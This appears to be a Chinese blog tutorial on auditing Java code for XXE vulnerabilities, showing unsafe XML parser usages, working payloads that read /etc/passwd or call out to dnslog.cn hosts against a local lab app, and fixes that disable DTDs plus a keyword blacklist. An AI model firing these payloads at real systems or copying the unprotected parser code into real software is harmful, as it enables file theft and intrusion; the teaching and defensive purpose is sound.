【Java代码审计】XXE漏洞

【Java代码审计】XXE漏洞

1.XXE漏洞概述

XXE 为 XML 外部实体注入。当应用程序在解析 XML 输入时,在没有禁止外部实体的加载而导致加载了外部文件及代码时,就会造成 XXE 漏洞

XXE 漏洞可以通过 file 协议或是 FTP 协议来读取文件源码,当然也可以通过 XXE 漏洞来对内网进行探测或者攻击。漏洞危害有:任意文件读取、内网探测、攻击内网站点、命令执行、DOS 攻击等


2.Java中的XML常见接口

想要了解 XXE 漏洞,我们首先需要知道常见的能够解析 XML 的方法,在 Java 中我们一般用以下几种常见的接口来解析 XML 语言:

1、XMLReader

XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞

java 复制代码
try {
    // 创建一个 XMLReader 对象,用于解析 XML 数据
    XMLReader xmlReader = XMLReaderFactory.createXMLReader();
    
    // 解析 XML 数据
    xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
    // 如果解析过程中发生异常,则捕获异常并返回异常状态
    return EXCEPT;
}

2、SAXBuilder

SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。当 SAXBuilder 使用默认的解析方法并且未对 XML 进行过滤时,会出现XXE 漏洞

java 复制代码
try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 SAXBuilder 对象,用于构建 XML 文档
    SAXBuilder builder = new SAXBuilder();
    
    // 使用 SAXBuilder 对象解析 XML 数据
    // 这里的漏洞是由于未进行任何安全设置导致的 XXE(XML 外部实体)攻击风险
    // 攻击者可以通过构造恶意的 XML 数据来读取系统文件等敏感信息
    builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

3、SAXReader

DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型,就能使用。DOM4J 读/写 XML 文档主要依赖于 org.dom4j.io 包,它有 DOMReader 和 SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞

java 复制代码
try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 SAXReader 对象,用于解析 XML 数据
    SAXReader reader = new SAXReader();
    
    // 使用 SAXReader 对象解析 XML 数据
    // 这里的漏洞是由于未进行任何安全设置导致的 XXE(XML 外部实体)攻击风险
    // 攻击者可以通过构造恶意的 XML 数据来读取系统文件等敏感信息
    reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

4、SAXParserFactory

SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance()。跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞

java 复制代码
try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 SAXParserFactory 对象,用于创建 SAXParser
    SAXParserFactory spf = SAXParserFactory.newInstance();
    
    // 使用 SAXParserFactory 创建一个 SAXParser 对象
    SAXParser parser = spf.newSAXParser();
    
    // 使用 SAXParser 对象解析 XML 数据
    // 这里使用了默认的 DefaultHandler,但需要注意,如果不进行安全设置,仍可能存在安全风险
    // 需要谨慎处理输入的 XML 数据,以防止攻击者利用 XXE(XML 外部实体)等漏洞
    parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

5、Digester

Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons 库中的一个 jar 包:common-digester 包。一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用

java 复制代码
try {
    // 从请求中获取请求体(body)
    String body = WebUtils.getRequestBody(request);
    
    // 将请求体打印到日志中
    logger.info(body);

    // 创建一个 Digester 对象,用于解析 XML 数据
    Digester digester = new Digester();
    
    // 使用 Digester 对象解析 XML 数据
    // 这里直接解析字符串,但需要注意,如果不进行安全设置,仍可能存在安全风险
    // 需要谨慎处理输入的 XML 数据,以防止攻击者利用 XXE(XML 外部实体)等漏洞
    digester.parse(new StringReader(body));
} catch (Exception e) {
    // 捕获任何异常,并将异常信息记录到日志中
    logger.error(e.toString());
    
    // 返回异常状态
    return EXCEPT;
}

6、DocumentBuilderFactory

javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象, DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回

java 复制代码
try {
    // 从请求中获取请求体内容
    String body = WebUtils.getRequestBody(request);
    // 记录请求体内容
    logger.info(body);
    
    // 创建解析 XML 的工厂
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    // 创建解析 XML 的构建器
    DocumentBuilder db = dbf.newDocumentBuilder();
    // 创建用于读取字符串的 StringReader 对象
    StringReader sr = new StringReader(body);
    // 创建用于从输入源读取数据的 InputSource 对象
    InputSource is = new InputSource(sr);
    // 解析 XML,将字符串转换为 Document 对象
    Document document = db.parse(is);

    // 遍历 XML 节点的 name 和 value,并存储在 StringBuffer 中
    StringBuffer buf = new StringBuffer();
    // 获取根节点列表
    NodeList rootNodeList = document.getChildNodes();
    for (int i = 0; i < rootNodeList.getLength(); i++) {
        Node rootNode = rootNodeList.item(i);
        // 获取根节点的子节点列表
        NodeList child = rootNode.getChildNodes();
        for (int j = 0; j < child.getLength(); j++) {
            Node node = child.item(j);
            // 将节点的名称和内容追加到 StringBuffer 中
            buf.append(node.getNodeName() + ":" + node.getTextContent() + "\n");
        }
    }
    // 关闭 StringReader
    sr.close();
    // 返回 XML 节点的名称和内容组成的字符串
    return buf.toString();
} catch (Exception e) {
    // 记录异常信息
    logger.error(e.toString());
    // 返回异常状态信息
    return EXCEPT;
}

3.XXE 漏洞审计

XXE 漏洞的审计方法和其他漏洞类似,只是搜索的关键字有所不同

java 复制代码
XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression

我们已经清楚了漏洞的整个触发流程及原理。接下来,可以构造一个用于 XXE 漏洞审计的常见的 Payload。常见的 XXE Payload 如下所示:

xml 复制代码
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<xxe>&file;</xxe>

例如某一处漏洞源码中会将 username 节点的内容进行打印,我们只需将上面的 XXE 节点换为 username 即可被成功解析并输出:

xml 复制代码
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<user><username>&file;</username><password>admin</password></user>

XXE 执行效果如图:


4.XXE漏洞演示

XMLReader

漏洞代码:

java 复制代码
public String XMLReader(@RequestParam String content) {
    try {
        log.info("[vul] XMLReader: " + content);

        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        // 修复:禁用外部实体
        // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        xmlReader.parse(new InputSource(new StringReader(content)));
        return "XMLReader XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

先生成一个dnslog地址:

触发payload:

bash 复制代码
http://127.0.0.1:8888/XXE/XMLReader?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2fvarzw4%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E

命令执行成功:

SAXReader

漏洞代码:

java 复制代码
public String SAXReader(@RequestParam String content) {
    try {
        SAXReader sax = new SAXReader();
        // 修复:禁用外部实体
        // sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        sax.read(new InputSource(new StringReader(content)));
        return "SAXReader XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

同样触发payload:

bash 复制代码
http://127.0.0.1:8888/XXE/SAXReader?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2ft3ax50%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E

命令执行成功:

SAXBuilder

SAXBuilder是一个JDOM解析器,能将路径中的XML文件解析为Document对象

漏洞代码:

java 复制代码
public String SAXBuilder(@RequestParam String content) {
    try {
        SAXBuilder saxbuilder = new SAXBuilder();
        saxbuilder.build(new InputSource(new StringReader(content)));
        return "SAXBuilder XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

同样触发payload:

bash 复制代码
http://127.0.0.1:8888/XXE/SAXBuilder?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2fwtf6tl%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E

命令执行成功:

DocumentBuilder

漏洞代码:

java 复制代码
public String DocumentBuilder(@RequestParam String content) {
    try {
        // DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        DocumentBuilder builder = factory.newDocumentBuilder();
        StringReader sr = new StringReader(content);
        InputSource is = new InputSource(sr);
        Document document = builder.parse(is);

        NodeList nodeList = document.getElementsByTagName("person");
        Element element = (Element) nodeList.item(0);
        return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());

    } catch (Exception e) {
        return e.toString();
    }
}

这次,使用file协议读取系统文件:

bash 复制代码
http://127.0.0.1:8888/XXE/DocumentBuilder?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3E%5d%3E%3Cperson%3E%3Cname%3E%26xxe%3b%3C%2fname%3E%3C%2fperson%3E

读取passwd文件成功:


5.XXE漏洞修复

1、对于 XXE 漏洞的防御比较简单,只需在使用 XML 解析器时设置其属性,禁用 DTD

或者禁止使用外部实体,一般常见的修复方案如下所示:

java 复制代码
// 即禁止解析器处理文档类型声明。DOCTYPE 声明指定了文档类型及其 DTD
obj.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 
// 禁用外部通用实体。通用实体是 XML 中的一种机制,用于在文档中引用外部实体
obj.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁用外部参数实体。参数实体也是 XML 中的一种机制,用于在 DTD 中定义实体
obj.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

2、黑名单过滤ENTITY和DOCTYPE字符

java 复制代码
public static boolean checkXXE(String content) {
    String[] black_list = {"ENTITY", "DOCTYPE"};
    for (String s : black_list) {
        if (content.toUpperCase().contains(s)) {
            return true;
        }
    }
    return false;
}

再次触发payload,攻击被检测:

相关推荐
发现你走远了14 分钟前
『uniapp』把接口的内容下载为txt本地保存 / 读取本地保存的txt文件内容(详细图文注释)
开发语言·javascript·uni-app·持久化保存
K____End28 分钟前
Spring 中的disposableBean介绍
java·spring·rpc
噼里啪啦啦.32 分钟前
SpringBoot统一功能处理
java·spring boot·后端
Bruk.Liu1 小时前
《IDEA 高效开发:自定义类/方法注释模板详解》
java·ide·intellij-idea·注释
叶 落1 小时前
[Java 基础]选英雄(配置 IDEA)
java·ide·intellij-idea
陈丹阳(滁州学院)1 小时前
解决idea编译运行项目时间长的问题
java·intellij-idea·idea
小伍_Five1 小时前
Spark实战能力测评模拟题精析【模拟考】
java·大数据·spark·scala·intellij-idea
阿蒙Amon2 小时前
C#获取磁盘容量:代码实现与应用场景解析
开发语言·c#
橘子青衫2 小时前
Java多线程编程:深入探索线程同步与互斥的实战策略
java·后端·性能优化
界面开发小八哥2 小时前
VS代码生成工具ReSharper v2025.1——支持.NET 10和C# 14预览功能
开发语言·ide·c#·.net·visual studio·resharper